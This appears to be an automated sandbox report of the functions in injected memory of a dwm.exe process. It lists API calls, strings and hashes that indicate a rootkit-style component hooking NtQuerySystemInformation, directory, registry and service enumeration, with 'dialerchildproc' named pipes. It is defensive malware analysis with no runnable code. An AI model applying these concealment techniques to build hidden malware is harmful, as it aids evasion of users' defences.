NtQueryObject, xrefs: 000002BAAEDF2BDB

Memory Dump Source

Source File: 0000001E.00000002.3183087492.000002BAAEDF0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2baaedf0000_dwm.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: 16ed6b47ea5e35ff7bce0c17d3cc6a2b3e314c65d60c4d9d2a118343faa5b8d7
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: C1B1C172210B9082EB68CF29D8587A973B4F744B94F745116EE8D57B98EF39CD80C3A1

Function 000002BAAEDF7D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 000002BAAEDF7DAC
RtlCaptureContext.NTDLL ref: 000002BAAEDF7DD9
RtlLookupFunctionEntry.NTDLL ref: 000002BAAEDF7DF3
RtlVirtualUnwind.NTDLL ref: 000002BAAEDF7E34
IsDebuggerPresent.KERNEL32 ref: 000002BAAEDF7E88
SetUnhandledExceptionFilter.KERNEL32 ref: 000002BAAEDF7EA9
UnhandledExceptionFilter.KERNEL32 ref: 000002BAAEDF7EB4

Memory Dump Source

Source File: 0000001E.00000002.3183087492.000002BAAEDF0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2baaedf0000_dwm.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: 991226839482be981db0a0c9d0a5b3f0b4c3dfa8c3e3b25629e8c410bb44d143
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: 93316D72215B819AEBA0DF60E8947ED7370F784744F54402ADB8E57B98EF38C648C721

Function 000002BAAEDFD2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 000002BAAEDFD31D
RtlLookupFunctionEntry.NTDLL ref: 000002BAAEDFD335
RtlVirtualUnwind.NTDLL ref: 000002BAAEDFD370
IsDebuggerPresent.KERNEL32 ref: 000002BAAEDFD3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 000002BAAEDFD3B3
UnhandledExceptionFilter.KERNEL32 ref: 000002BAAEDFD3BE

Memory Dump Source

Source File: 0000001E.00000002.3183087492.000002BAAEDF0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2baaedf0000_dwm.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: 7d54bd0195f5e20e888b4046c37b92221e6e6a0e16ed04466e2058f5df45964c
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: FA317C36214B809AEB60CF25E8843AE73B0F789758F640126EADD43B98DF38C155CB51

Function 000002BAAEDF12BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000002BAAEDF1319
GetProcessHeap.KERNEL32 ref: 000002BAAEDF1327
HeapAlloc.KERNEL32 ref: 000002BAAEDF1338
RegEnumValueW.ADVAPI32 ref: 000002BAAEDF1397

Part of subcall function 000002BAAEDF152C: StrCmpIW.SHLWAPI ref: 000002BAAEDF155D

GetProcessHeap.KERNEL32 ref: 000002BAAEDF13DF
HeapAlloc.KERNEL32 ref: 000002BAAEDF13ED
GetProcessHeap.KERNEL32 ref: 000002BAAEDF140A
HeapFree.KERNEL32 ref: 000002BAAEDF1418
lstrlenW.KERNEL32 ref: 000002BAAEDF1421
GetProcessHeap.KERNEL32 ref: 000002BAAEDF142F
HeapAlloc.KERNEL32 ref: 000002BAAEDF143D
StrCpyW.SHLWAPI ref: 000002BAAEDF145F
GetProcessHeap.KERNEL32 ref: 000002BAAEDF1476
HeapFree.KERNEL32 ref: 000002BAAEDF1484

Strings

d, xrefs: 000002BAAEDF135A

Memory Dump Source

Source File: 0000001E.00000002.3183087492.000002BAAEDF0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2baaedf0000_dwm.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: 7c84d59281942a78493a40752f210f11be734ac56bd795eca8a9807e03bbe614
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: 50515D36200B859AEB64CF62E54835AB7B1F789F99F248124DE8907B59DF3CC049CB11

Function 000002BAAEDF1D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 000002BAAEDF1D1F

Part of subcall function 000002BAAEDF1FD4: GetModuleHandleA.KERNEL32 ref: 000002BAAEDF1FEC
Part of subcall function 000002BAAEDF1FD4: GetProcAddress.KERNEL32 ref: 000002BAAEDF1FFD

Part of subcall function 000002BAAEDF5B30: GetCurrentThreadId.KERNEL32 ref: 000002BAAEDF5B6B

Strings

NtDeviceIoControlFile, xrefs: 000002BAAEDF1E56
sechost.dll, xrefs: 000002BAAEDF1E39
ntdll.dll, xrefs: 000002BAAEDF1D2D
advapi32.dll, xrefs: 000002BAAEDF1DF7, 000002BAAEDF1E18
NtQueryDirectoryFileEx, xrefs: 000002BAAEDF1D9C
EnumServicesStatusExW, xrefs: 000002BAAEDF1E11, 000002BAAEDF1E32
NtResumeThread, xrefs: 000002BAAEDF1D62
EnumServiceGroupW, xrefs: 000002BAAEDF1DF0
NtEnumerateKey, xrefs: 000002BAAEDF1DB9
NtQueryDirectoryFile, xrefs: 000002BAAEDF1D7F
NtQuerySystemInformation, xrefs: 000002BAAEDF1D45
NtEnumerateValueKey, xrefs: 000002BAAEDF1DD6

Memory Dump Source

Source File: 0000001E.00000002.3183087492.000002BAAEDF0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2baaedf0000_dwm.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: c0e7faaba75385aaa4adb1cfac454377c355040c6669c12fb79adebc4bd92ff3
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: 4D31D564240A4AB2EA60EF69EC597D43330BB14344FF00413E8CD52976EF3C8689C772

Function 000002BAAEDC6910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000002BAAEDC6938
__scrt_acquire_startup_lock.LIBCMT ref: 000002BAAEDC698A
_RTC_Initialize.LIBCMT ref: 000002BAAEDC69B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000002BAAEDC69DE
__scrt_release_startup_lock.LIBCMT ref: 000002BAAEDC6A09

Strings

`eh vector copy constructor iterator', xrefs: 000002BAAEDC6A3B
scriptor', xrefs: 000002BAAEDC6B39, 000002BAAEDC6BB2, 000002BAAEDC6BEC
`dynamic initializer for ', xrefs: 000002BAAEDC69C7
`eh vector vbase copy constructor iterator', xrefs: 000002BAAEDC69EE

Memory Dump Source

Source File: 0000001E.00000002.3183027949.000002BAAEDC0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002BAAEDC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2baaedc0000_dwm.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: e81c386bd8547cca1137d390a578599d5395f434cc6727d434b89f4cfb340a6e
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 4F81F0216006018AFA56AB75948D39937B1EBC5FC0F3494269AED83396DF39C846C733

Function 000002BAAEDFCE28 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 000002BAAEDFCE37
FlsGetValue.KERNEL32(?,?,?,000002BAAEE00A6B,?,?,?,000002BAAEE0045C,?,?,?,000002BAAEDFC84F), ref: 000002BAAEDFCE4C
FlsSetValue.KERNEL32(?,?,?,000002BAAEE00A6B,?,?,?,000002BAAEE0045C,?,?,?,000002BAAEDFC84F), ref: 000002BAAEDFCE6D
FlsSetValue.KERNEL32(?,?,?,000002BAAEE00A6B,?,?,?,000002BAAEE0045C,?,?,?,000002BAAEDFC84F), ref: 000002BAAEDFCE9A
FlsSetValue.KERNEL32(?,?,?,000002BAAEE00A6B,?,?,?,000002BAAEE0045C,?,?,?,000002BAAEDFC84F), ref: 000002BAAEDFCEAB
FlsSetValue.KERNEL32(?,?,?,000002BAAEE00A6B,?,?,?,000002BAAEE0045C,?,?,?,000002BAAEDFC84F), ref: 000002BAAEDFCEBC
SetLastError.KERNEL32 ref: 000002BAAEDFCED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,000002BAAEE00A6B,?,?,?,000002BAAEE0045C,?,?,?,000002BAAEDFC84F), ref: 000002BAAEDFCF0D
FlsSetValue.KERNEL32(?,?,00000001,000002BAAEDFECCC,?,?,?,?,000002BAAEDFBF9F,?,?,?,?,?,000002BAAEDF7AB0), ref: 000002BAAEDFCF2C

Part of subcall function 000002BAAEDFD6CC: HeapAlloc.KERNEL32 ref: 000002BAAEDFD721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000002BAAEE00A6B,?,?,?,000002BAAEE0045C,?,?,?,000002BAAEDFC84F), ref: 000002BAAEDFCF54

Part of subcall function 000002BAAEDFD744: HeapFree.KERNEL32 ref: 000002BAAEDFD75A
Part of subcall function 000002BAAEDFD744: GetLastError.KERNEL32 ref: 000002BAAEDFD764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000002BAAEE00A6B,?,?,?,000002BAAEE0045C,?,?,?,000002BAAEDFC84F), ref: 000002BAAEDFCF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000002BAAEE00A6B,?,?,?,000002BAAEE0045C,?,?,?,000002BAAEDFC84F), ref: 000002BAAEDFCF76

Memory Dump Source

Source File: 0000001E.00000002.3183087492.000002BAAEDF0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2baaedf0000_dwm.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: 01e7d99de580d2bb8e957ca4e65fd31d41413e7a64f6b3c6e05d97cd56586373
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: E341802070134441FA78E731955D36D73B29F957B4F380728A8BE4AAEADF28C451D237

Function 000002BAAEDF2244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52filethreadCOMMON

Download Yara Rule

APIs

GetProcessIdOfThread.KERNEL32 ref: 000002BAAEDF2259
GetCurrentProcessId.KERNEL32 ref: 000002BAAEDF2263

Part of subcall function 000002BAAEDF1934: OpenProcess.KERNEL32 ref: 000002BAAEDF1952
Part of subcall function 000002BAAEDF1934: IsWow64Process.KERNEL32 ref: 000002BAAEDF1968
Part of subcall function 000002BAAEDF1934: CloseHandle.KERNEL32 ref: 000002BAAEDF1983

CreateFileW.KERNEL32 ref: 000002BAAEDF22BC
WriteFile.KERNEL32 ref: 000002BAAEDF22E4
ReadFile.KERNEL32 ref: 000002BAAEDF2303
CloseHandle.KERNEL32 ref: 000002BAAEDF230C

Strings

\\.\pipe\dialerchildproc64, xrefs: 000002BAAEDF228C
\\.\pipe\dialerchildproc32, xrefs: 000002BAAEDF2293

Memory Dump Source

Source File: 0000001E.00000002.3183087492.000002BAAEDF0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2baaedf0000_dwm.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: e475c542c3fc8f5e9c1ea63ce18cd68e6815f715107f2c5cb0e10c38f46ac8a1
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: E0213872654B4193EB60CB25E44835A77B0F789BA4F604225EA9942EA8CF3CC149CB12

Function 000002BAAEDFA544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000002BAAEDFA5A1

Part of subcall function 000002BAAEDFB414: __GetUnwindTryBlock.LIBCMT ref: 000002BAAEDFB457
Part of subcall function 000002BAAEDFB414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000002BAAEDFB47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000002BAAEDFA679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000002BAAEDFA8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 000002BAAEDFA9DA

Strings

csm, xrefs: 000002BAAEDFA622
csm, xrefs: 000002BAAEDFA69C
csm, xrefs: 000002BAAEDFA5BB

Memory Dump Source

Source File: 0000001E.00000002.3183087492.000002BAAEDF0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2baaedf0000_dwm.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: 28fd30d8de1863f4827a3e47e8af121b74ce8415f8b2b0d18f529f20809478b0
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: A5E1D472A04B808AEB20DF65D48839D77B0F785B98F604116EECD5BB99CF34C191CB22

Function 000002BAAEDC9944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000002BAAEDC99A1

Part of subcall function 000002BAAEDCA814: __GetUnwindTryBlock.LIBCMT ref: 000002BAAEDCA857
Part of subcall function 000002BAAEDCA814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000002BAAEDCA87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000002BAAEDC9A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000002BAAEDC9CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 000002BAAEDC9DDA

Strings

csm, xrefs: 000002BAAEDC9A9C
csm, xrefs: 000002BAAEDC9A22
csm, xrefs: 000002BAAEDC99BB

Memory Dump Source

Source File: 0000001E.00000002.3183027949.000002BAAEDC0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002BAAEDC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2baaedc0000_dwm.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: 0e1fcc14573ae700ecef04849d54fe56b69193aba6d354a2f4fcc66dff62847a
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: EFE19972604B808AEB629F75D48839D77B0F795BD8F201116EECD97B9ACB34D091C722

Function 000002BAAEDFF394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 000002BAAEDFF510
GetProcAddress.KERNEL32 ref: 000002BAAEDFF51C

Strings

api-ms-, xrefs: 000002BAAEDFF45A
ext-ms-, xrefs: 000002BAAEDFF46D

Memory Dump Source

Source File: 0000001E.00000002.3183087492.000002BAAEDF0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2baaedf0000_dwm.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: 4d6808facc4de05c8c68c19d0f6b22d34854e2ef5ce9be60218a6eaeb3d075bd
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: 9A41D322311B0095FF76CB26A80879533B5FB49BE0F2941299D8E87B88EF3CC545C326

Function 000002BAAEDF104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000002BAAEDF10B1
RegEnumValueW.ADVAPI32 ref: 000002BAAEDF1117
GetProcessHeap.KERNEL32 ref: 000002BAAEDF115A
HeapAlloc.KERNEL32 ref: 000002BAAEDF1168
GetProcessHeap.KERNEL32 ref: 000002BAAEDF1185
HeapFree.KERNEL32 ref: 000002BAAEDF1193

Strings

d, xrefs: 000002BAAEDF10D6

Memory Dump Source

Source File: 0000001E.00000002.3183087492.000002BAAEDF0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2baaedf0000_dwm.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: 92749279b72a6e3b891d05313cb35e5094250e8cd656c3bd39e6c66893a601a7
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: 6A416F33214B84D6E7A0CF21E44879E77B1F389B98F548129DA8D0BB59DF38C989CB51

Function 000002BAAEDFD068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,000002BAAEDFC7DE,?,?,?,?,?,?,?,?,000002BAAEDFCF9D,?,?,00000001), ref: 000002BAAEDFD087
FlsSetValue.KERNEL32(?,?,?,000002BAAEDFC7DE,?,?,?,?,?,?,?,?,000002BAAEDFCF9D,?,?,00000001), ref: 000002BAAEDFD0A6
FlsSetValue.KERNEL32(?,?,?,000002BAAEDFC7DE,?,?,?,?,?,?,?,?,000002BAAEDFCF9D,?,?,00000001), ref: 000002BAAEDFD0CE
FlsSetValue.KERNEL32(?,?,?,000002BAAEDFC7DE,?,?,?,?,?,?,?,?,000002BAAEDFCF9D,?,?,00000001), ref: 000002BAAEDFD0DF
FlsSetValue.KERNEL32(?,?,?,000002BAAEDFC7DE,?,?,?,?,?,?,?,?,000002BAAEDFCF9D,?,?,00000001), ref: 000002BAAEDFD0F0

Strings

1%, xrefs: 000002BAAEDFD0CE
Y%, xrefs: 000002BAAEDFD0A6

Memory Dump Source

Source File: 0000001E.00000002.3183087492.000002BAAEDF0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2baaedf0000_dwm.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: 87ce3cd2b22bdf32f6b5cf4ec293e9ba429de85969ccf05228afd4229d824717
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: 1E11942070438451FA68E736A95D36973719B557F8F384724A8BE07BEADF28C442D223

Function 000002BAAEDF7510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000002BAAEDF7538
__scrt_acquire_startup_lock.LIBCMT ref: 000002BAAEDF758A
_RTC_Initialize.LIBCMT ref: 000002BAAEDF75B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000002BAAEDF75DE
__scrt_release_startup_lock.LIBCMT ref: 000002BAAEDF7609

Memory Dump Source

Source File: 0000001E.00000002.3183087492.000002BAAEDF0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2baaedf0000_dwm.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 1318caf13de8b04a23ce044cac0dd516da927a54ba5e8a2999e94ee861b58642
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: A68108207303429AFBA4DB65A84D3D937B1AB85780F744425E9CC47B96EB7AC845C733

Function 000002BAAEDF9DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 000002BAAEDF9E49
GetLastError.KERNEL32 ref: 000002BAAEDF9E57
LoadLibraryExW.KERNEL32 ref: 000002BAAEDF9E81
FreeLibrary.KERNEL32 ref: 000002BAAEDF9EC7
GetProcAddress.KERNEL32 ref: 000002BAAEDF9ED3

Strings

api-ms-, xrefs: 000002BAAEDF9E69

Memory Dump Source

Source File: 0000001E.00000002.3183087492.000002BAAEDF0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2baaedf0000_dwm.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: 06ae3486feda111ada41b0278c961c7cd4cf5308fd5a5969803fd1c8fc0baebe
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: CA31C621713B40E1EF61DB82A81875933B4F748BA0F7985259DAE0B794DF39C585C322

Function 000002BAAEE03DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 000002BAAEE03DE5
GetLastError.KERNEL32 ref: 000002BAAEE03DF1
CloseHandle.KERNEL32 ref: 000002BAAEE03E09
CreateFileW.KERNEL32 ref: 000002BAAEE03E34
WriteConsoleW.KERNEL32 ref: 000002BAAEE03E53

Strings

CONOUT$, xrefs: 000002BAAEE03E15

Memory Dump Source

Source File: 0000001E.00000002.3183087492.000002BAAEDF0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2baaedf0000_dwm.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: db8a81eff005282016f07d83c28d67647e7a48e49bc93c9820ba17fe59873458
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: 55116A21350B8196E7B08B52E848319B7B0F798FE4F244224EAAE87FA4CF78C955C751

Function 000002BAAEDF2F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002BAAEDF2F27
HeapAlloc.KERNEL32 ref: 000002BAAEDF2F3A
StrCmpNIW.SHLWAPI ref: 000002BAAEDF2FAF
GetProcessHeap.KERNEL32 ref: 000002BAAEDF3015
HeapFree.KERNEL32 ref: 000002BAAEDF3023

Strings

dialer, xrefs: 000002BAAEDF2FA8

Memory Dump Source

Source File: 0000001E.00000002.3183087492.000002BAAEDF0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2baaedf0000_dwm.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: 737f97488920e4ae6f5cef42b43d3862bc3f78a164ca931e418828c5db40b557
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: 2131B022711B5292EA64DF1BE94876A77B0FB45B80F184035AFCC47B56EF38C4A1C321

Function 000002BAAEDFCFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000002BAAEDFCFAF
FlsSetValue.KERNEL32(?,?,?,000002BAAEDFD6B5,?,?,?,?,000002BAAEDFD778), ref: 000002BAAEDFCFE5
FlsSetValue.KERNEL32(?,?,?,000002BAAEDFD6B5,?,?,?,?,000002BAAEDFD778), ref: 000002BAAEDFD012
FlsSetValue.KERNEL32(?,?,?,000002BAAEDFD6B5,?,?,?,?,000002BAAEDFD778), ref: 000002BAAEDFD023
FlsSetValue.KERNEL32(?,?,?,000002BAAEDFD6B5,?,?,?,?,000002BAAEDFD778), ref: 000002BAAEDFD034
SetLastError.KERNEL32 ref: 000002BAAEDFD04F

Memory Dump Source

Source File: 0000001E.00000002.3183087492.000002BAAEDF0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2baaedf0000_dwm.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: 4acdcfdcf3885ad74f3085b933b891c07e4902976b71fe125519cc4dffcd31bd
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: 06115E2074138082FA64E732A55D3297372AF957F8F344724A8BE47BEADF68C451D622

Function 000002BAAEDF199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

